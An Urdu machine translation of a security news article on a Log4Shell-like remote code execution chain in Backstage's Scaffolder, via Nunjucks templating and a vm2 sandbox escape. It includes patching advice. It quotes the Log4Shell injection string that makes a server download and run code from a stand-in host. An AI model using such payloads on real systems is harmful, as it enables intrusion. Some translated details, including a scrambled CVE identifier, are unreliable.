مقبول بیک اسٹیج ڈیو ٹول پلیٹو بلاکچین ڈیٹا انٹیلی جنس میں Log4Shell جیسا کوڈ ایگزیکیوشن ہول۔ عمودی تلاش۔ عی

مقبول بیک اسٹیج ڈیو ٹول میں Log4Shell جیسا کوڈ ایگزیکیوشن ہول

کلاؤڈ کوڈنگ سیکیورٹی کمپنی Oxeye کے محققین نے ایک اہم بگ لکھا ہے جسے انہوں نے حال ہی میں مقبول کلاؤڈ ڈویلپمنٹ ٹول کٹ بیک اسٹیج میں دریافت کیا ہے۔

ان کی رپورٹ اس میں یہ وضاحت شامل ہے کہ بگ کیسے کام کرتا ہے، نیز پروف آف کانسیپٹ (PoC) کوڈ یہ بتاتا ہے کہ اس کا فائدہ کیسے اٹھایا جائے۔

بیک اسٹیج وہ ہے جسے کلاؤڈ ڈویلپر پورٹل کے نام سے جانا جاتا ہے - ایک قسم کا بزنس لاجک بیک اینڈ جو ویب پر مبنی APIs (ایپلی کیشن پروگرامنگ انٹرفیس) بنانا آسان بناتا ہے تاکہ آپ کے کاروبار کے اندر اور باہر کوڈرز کو آپ کی آن لائن خدمات کے ساتھ تعامل کرنے کی اجازت دی جا سکے۔

پروجیکٹ کے الفاظ میں، اصل میں Spotify پر بنایا گیا تھا لیکن اب کھلا ہوا گٹ ہب پر:

بیک اسٹیج ڈویلپر پورٹلز بنانے کے لیے ایک کھلا پلیٹ فارم ہے۔ مرکزی سافٹ ویئر کیٹلاگ کے ذریعے تقویت یافتہ، بیک اسٹیج آپ کی مائیکرو سروسز اور انفراسٹرکچر میں آرڈر بحال کرتا ہے اور آپ کی پروڈکٹ ٹیموں کو خودمختاری پر سمجھوتہ کیے بغیر - اعلی معیار کا کوڈ بھیجنے کے قابل بناتا ہے۔

بیک اسٹیج آپ کے تمام انفراسٹرکچر ٹولنگ، خدمات، اور دستاویزات کو یکجا کرتا ہے تاکہ ایک ہموار ترقیاتی ماحول کو سرے سے آخر تک بنایا جا سکے۔

نہیں، ہم صحیح معنوں میں نہیں جانتے کہ اس کا کیا مطلب ہے، لیکن ہم جانتے ہیں کہ ٹول کٹ جاوا اسکرپٹ میں لکھی گئی ہے، سرور سائیڈ جاوا اسکرپٹ سسٹم کا استعمال کرتے ہوئے چلتی ہے۔ node.js، اور NPM ماحولیاتی نظام سے سپلائی چین انحصار کے جال میں کھینچتا ہے۔

NPM کے لیے مختصر ہے۔ نوڈ پیکیج مینیجر, اس بات کو یقینی بنانے کے لیے ایک خودکار ٹول کٹ کہ آپ کا بیک اینڈ JavaScript کوڈ آسانی سے اوپن سورس لائبریریوں کی ایک وسیع رینج کا استعمال کر سکتا ہے جو کرپٹوگرافی اور ڈیٹا بیس مینجمنٹ سے لے کر لاگنگ اور ورژن کنٹرول تک ہر چیز کے لیے مقبول، پہلے سے لکھے ہوئے مددگار ٹولز فراہم کرتی ہے۔

ریموٹ کوڈ پر عمل درآمد

بدقسمتی سے، آج ظاہر ہونے والا بگ، اگر پیچ نہیں کیا گیا، تو غیر تصدیق شدہ بیرونی لوگوں کو (ڈھیلی سے، کوئی بھی جو آپ کے سرورز سے API کنکشن بنا سکتا ہے) کو آپ کے نیٹ ورک پر بزنس لاجک سرورز کے اندر ریموٹ کوڈ ایگزیکیوشن (RCE) کو متحرک کرنے کا ایک طریقہ دے سکتا ہے۔

خوش قسمتی سے، تاہم، اگر ہم نے Oxeye کی تحریر کی صحیح تشریح کی ہے، تو وہ اپنے بیک اسٹیج RCE کے لیے جو حملہ بیان کرتے ہیں اس کا انحصار کوڈنگ کی خامیوں کی ایک ترتیب پر ہوتا ہے جو بالآخر ایک مخصوص بگ، نامزد کردہ پر منحصر ہوتا ہے۔ CVE-2022-36067 سپلائی چین کے ایک جزو میں جو بیک اسٹیج vm2 نامی پر انحصار کرتا ہے۔

اگر آپ سوچ رہے ہیں تو، vm2 ایک عام مقصد کا NPM ماڈیول ہے جو ایک "ورچوئل مشین سینڈ باکس" کو لاگو کرتا ہے جس کا مقصد ممکنہ طور پر خطرناک JavaScript کو آپ کے سرورز پر چلانے کے لیے قدرے محفوظ بنانا ہے۔

وہ CVE-2022-36067 بگ vm2 میں تھا۔ رپورٹ کے مطابق اگست 2022 میں خود آکسی کے ذریعہ (جس نے اسے "سینڈ بریک" کا پی آر دوستانہ نام دیا، کیونکہ یہ سینڈ باکس سے پھوٹ گیا تھا)، اور فوری طور پر پیچ کیا تقریباً تین ماہ قبل vm2 ٹیم کے ذریعے۔

لہذا، جہاں تک ہم دیکھ سکتے ہیں، اگر آپ بیک اسٹیج صارف ہیں تو آپ اس بات کو یقینی بنانا چاہیں گے کہ آپ نے اپنے بیک اسٹیج سیٹ اپ میں تمام خطرے والے اجزاء کو پیچ کر لیا ہے…

…لیکن اگر آپ نے vm2 جزو کو جو ان تمام مہینوں پہلے سینڈ بریک کے لیے خطرناک تھا، کو پیوند کیا، تو ایسا لگتا ہے کہ آپ Oxeye کے تازہ ترین انکشاف میں بیان کردہ استحصال کے لیے براہ راست خطرے سے دوچار نہیں ہیں۔

اس کے علاوہ، اگر آپ کے بیک اسٹیج سرورز کو سائبر سیکیورٹی کے اچھے رہنما خطوط کے طور پر ترتیب دیا گیا ہے، جس میں نیٹ ورک کے کنارے اور نیٹ ورک کے اندر تصدیق کی ضرورت ہے، تو آپ کو طے شدہ "مددگار" افراد کی جانب سے بے ترتیب "صرف محققین کے مقاصد کے لیے" تحقیقات کا خطرہ نہیں ہوگا۔ یہ ظاہر کرنے کے لیے کہ وہ سائبر تھریٹ "تحقیق" میں دلچسپی رکھتے ہیں۔

ایک "ایمنتھل پنیر" حملہ

سیدھے الفاظ میں، نئے انکشاف کردہ سیکورٹی مسائل سیکورٹی مسائل کی ایک سیریز کے ضمنی اثرات ہیں، جیسے ایمنتھل پنیر کے ٹکڑوں میں سوراخ جو اس ترتیب میں پھیل سکتے ہیں اگر کوئی حملہ آور ہر سلائس پر کم از کم ایک سوراخ کرنے کے قابل ہو۔

جیسا کہ ہم اسے سمجھتے ہیں، Backstage میں Scaffolder نامی ایک جزو شامل ہوتا ہے، جو جیسا کہ نام سے ظاہر ہوتا ہے، آپ کو ان مختلف ایڈونز (پلگ ان کے نام سے جانا جاتا ہے) کا انتظام کرنے میں مدد کرتا ہے جو آپ کی ڈویلپر کمیونٹی کو چاہیں یا درکار ہیں۔

اسکافولڈر، بدلے میں، موزیلا سے ایک میسج لاگنگ سسٹم کا استعمال کرتا ہے جسے ننجکس کے نام سے جانا جاتا ہے، جس میں وہ بھی شامل ہے جسے کہا جاتا ہے۔ سٹرنگ ٹیمپلیٹنگ in node.js حلقوں، کے طور پر سٹرنگ انٹرپولیشن جاوا کی دنیا میں، اور جیسے سٹرنگ متبادل sysadmins کو جو کمانڈ شیل استعمال کرتے ہیں جیسے Bash۔

اگر سٹرنگ انٹرپولیشن گھنٹی بجتی ہے، تو شاید اس کی وجہ یہ ہے کہ یہ کے دل میں پڑا ہے۔ لاگ 4 شیل دسمبر 2021 میں خطرے کی واپسی، اور فولینا 2022 کے وسط میں بگ۔

یہ وہ جگہ ہے جہاں آپ کو سٹرنگ ٹیمپلیٹ میں خصوصی "کوڈنگ کریکٹرز" کی بنیاد پر لاگنگ میسج کے مواد کو دوبارہ لکھنا پڑتا ہے، تاکہ سٹرنگ جیسے $USER سرور کے ذریعہ استعمال ہونے والے اکاؤنٹ کے نام سے تبدیل کیا جا سکتا ہے، یا ${PID} موجودہ پروسیس ID کو بازیافت کر سکتا ہے۔

Log4Shell کی انتہائی صورت میں، متجسس نظر آنے والا جذبہ ${jndi:ldap://example.com:8888/malware} نامی پروگرام کو ڈاؤن لوڈ کرنے میں سرور کو براہ راست دھوکہ دے سکتا ہے۔ malware سے example.com اور خاموشی سے اسے پس منظر میں چلانا۔

دوسرے لفظوں میں، آپ کو یہ یقینی بنانا ہوگا کہ غیر بھروسہ مند ذریعہ سے آنے والا ڈیٹا، جیسے کہ باہر کا صارف، کبھی بھی آنکھ بند کر کے کسی سٹرنگ ٹیمپلیٹنگ یا سٹرنگ انٹرپولیشن فنکشن میں استعمال نہیں کیا جاتا ہے۔ بطور ٹیمپلیٹ متن.

اگر کوئی دور دراز صارف، مثال کے طور پر، اپنا صارف نام دے کر آپ کے سرور کو دھوکہ دینے کی کوشش کرتا ہے۔ ${{RISKY}} (یہ فرض کرتے ہوئے کہ ٹیمپلیٹنگ لائبریری استعمال کرتی ہے۔ ${{...}} اس کے خصوصی مارکر کے طور پر)، آپ کو اس بات کو یقینی بنانا ہوگا کہ آپ کا لاگنگ کوڈ اس شرارتی نظر آنے والے متن کو درست طریقے سے ریکارڈ کرے گا جیسا کہ اسے موصول ہوا تھا…

…لاگ ہونے والے متن کو لاگنگ فنکشن پر کنٹرول حاصل کرنے کی اجازت دینے کے بجائے!

ایک پرانی نرسری شاعری کے الفاظ میں، آپ کو یہ یقینی بنانا ہوگا کہ آپ گانا ختم نہ کریں، "میرے اندر ایک سوراخ ہے ${{BUCKET}}پیاری لیزا، پیاری لیزا، میرے اندر ایک سوراخ ہے۔ ${{BUCKET}}، پیاری لیزا۔ ایک سوراخ!"

حفاظتی کمبل میں لپٹا

منصفانہ طور پر، Nunjucks کی شاید بہت طاقتور ٹیمپلیٹنگ/انٹرپولیشن فعالیت کو بیک اسٹیج نے ایک اور سپلائی چین جزو کے اندر لپیٹا ہوا ہے، یعنی مذکورہ بالا سینڈ باکسنگ سسٹم vm2، جو اس خطرے کو محدود کرنے کے لیے سمجھا جاتا ہے جو ایک بدنیت صارف بوبی کے ساتھ کرسکتا ہے۔ - پھنسے ہوئے ان پٹ ڈیٹا۔

بدقسمتی سے، Oxeye کے محققین Backstage + Scaffolder + Nunjucks میں اپنے نئے دریافت شدہ سٹرنگ ٹیمپلیٹنگ کوڈ کو متحرک کرنے والے راستوں کو vm2022 سیکیورٹی ریپر میں پرانے CVE-36067-2 خطرے کے ساتھ جوڑنے میں کامیاب ہو گئے تاکہ ممکنہ ریموٹ کوڈ ایکز کٹ سروس کو حاصل کیا جا سکے۔ .

کیا کیا جائے؟

اگر آپ بیک اسٹیج صارف ہیں:

  • یقینی بنائیں کہ آپ کے پاس بیک اسٹیج کے تازہ ترین ورژن اور اس پر انحصار ہے، سمیت plugin-scaffolder-backend جزو Oxeye کے مطابق، بیک اسٹیج کوڈ میں متعلقہ بگز کو 01 ستمبر 2022 تک پیچ کیا گیا تھا، تاکہ اس ڈیٹا کے بعد کسی بھی آفیشل پوائنٹ کی ریلیز میں اصلاحات شامل ہوں۔ لکھنے کے وقت [2022-11-1T16:00Z]، اس میں بیک اسٹیج بھی شامل ہے 1.6.0, 1.7.0 اور 1.8.0، بالترتیب 2022-09-21، 2022-10-18، اور 2022-11-15 کو جاری کیا گیا۔
  • چیک کریں کہ آپ کی بیک اسٹیج انسٹالیشن میں آپ کی توقع کے مطابق تصدیق کنفیگر کی گئی ہے۔ Oxeye کا دعوی ہے کہ توثیق ڈیفالٹ کی طرف سے بند ہے، اور اس کی پیروی کرنے کے بعد پس پردہ رہنما خطوط, پسدید سرورز (جو شاید ویسے بھی بیرونی طور پر سامنے نہیں آنے والے ہیں) نے پھر بھی غیر مستند رسائی کی اجازت دی۔ ہوسکتا ہے کہ آپ جو چاہیں، لیکن ہم اس مسئلے کو ایک وجہ کے طور پر استعمال کرنے کی تجویز کرتے ہیں تاکہ یہ چیک کیا جا سکے کہ آپ کا سیٹ اپ آپ کے ارادوں سے میل کھاتا ہے۔
  • چیک کریں کہ آپ کے بیک اسٹیج انفراسٹرکچر کے کن حصوں تک انٹرنیٹ سے پہنچا جا سکتا ہے۔ ایک بار پھر، اگر آپ نے حال ہی میں ایسا نہیں کیا ہے تو اپنے نیٹ ورک کو باہر سے اسکین کرنے کی وجہ کے طور پر اس مسئلے کو استعمال کریں۔

اگر آپ node.js/NPM صارف ہیں:

  • یقینی بنائیں کہ آپ کے پاس vm2 سینڈ باکس جزو کا تازہ ترین ورژن ہے۔ آپ نے اسے دوسرے سافٹ ویئر کے انحصار کے طور پر انسٹال کیا ہے جو آپ استعمال کرتے ہیں، چاہے آپ کے پاس بیک اسٹیج نہ ہو۔ CVE-2022-36067 خطرے کو 2022-08-28 کو باندھ دیا گیا تھا، لہذا آپ vm2 ورژن چاہتے ہیں 3.9.11 یا بعد میں.

اگر آپ پروگرامر ہیں:

  • طاقتور لاگنگ فنکشنز کو کال کرتے وقت جتنا ہو سکے دفاعی بنیں۔ اگر آپ ہمارے پاس لاگنگ سروس (بشمول Nunjucks یا Log4J) ہیں جس میں طاقتور ٹیمپلیٹنگ/انٹرپولیشن خصوصیات شامل ہیں، تو ایسی کوئی بھی خصوصیات بند کردیں جن کی آپ کو ضرورت نہیں ہے تاکہ غلطی سے ان کا استحصال نہ ہو۔ اس بات کو یقینی بنائیں کہ ناقابل اعتماد ان پٹ کبھی بھی بذات خود ایک ٹیمپلیٹ کے طور پر استعمال نہیں ہوتا ہے، اس طرح حملہ آوروں کو ان کے اپنے براہ راست خطرناک ان پٹ سٹرنگز کو رول کرنے سے روکتا ہے۔
  • کسی بھی دوسری احتیاطی تدابیر سے قطع نظر، اپنے لاگنگ ان پٹس اور آؤٹ پٹس کو صاف کریں۔ یاد رکھیں کہ مستقبل میں کسی اور کو آپ کی لاگ فائلز کھولنے کی ضرورت ہوگی۔ کسی بھی نادانستہ بوبی ٹریپس کو اپنی لاگ فائل میں لکھنے کی اجازت نہ دیں جہاں وہ بعد میں پریشانی کا باعث بنیں، جیسے کہ اسکرپٹ ٹیگز کے ساتھ HTML کے ٹکڑے۔ (کوئی غلطی سے فائل کو براؤزر میں کھول سکتا ہے۔)

یہاں تک کہ جب آپ کو کسی بھروسہ مند ذریعہ سے ان پٹ موصول ہوتا ہے، تب بھی شاذ و نادر ہی کوئی وجہ ہوتی ہے کہ آپ اسے استعمال کرنے سے پہلے اسے اپنی صفائی کی جانچ کے ذریعے نہ ڈالیں۔

(آپ کبھی کبھار کسی استثناء کا جواز پیش کر سکتے ہیں، مثال کے طور پر کارکردگی کی وجوہات کی بناء پر، لیکن یہ ایک استثناء ہونا چاہیے، اصول نہیں۔)

سب سے پہلے، دوبارہ چیک کرنے سے آپ کو ان غلطیوں کی نشاندہی کرنے میں مدد ملتی ہے جو پچھلے کوڈرز نے نیک نیتی سے کی ہوں گی۔ دوم، اگر آپ کے ماحولیاتی نظام کے کسی دوسرے حصے سے سمجھوتہ ہو جاتا ہے تو یہ خراب یا بوبی ٹریپ ڈیٹا کے پھیلاؤ کو محدود کرنے میں مدد کرتا ہے۔

Emmenthal پنیر کے ان ٹکڑوں کے بارے میں جو ہم نے پہلے ذکر کیا ہے وہ یہ ہے کہ اگرچہ وہ قابل رسائی ہیں اگر ہر شیٹ پر کم از کم ایک سوراخ کی لکیریں…

…وہ ناقابل تسخیر ہیں اگر سوراخ کے ساتھ کم از کم ایک شیٹ ہو جو بالکل بھی قطار میں نہ ہو!


ٹائم اسٹیمپ:

سے زیادہ ننگی سیکیورٹی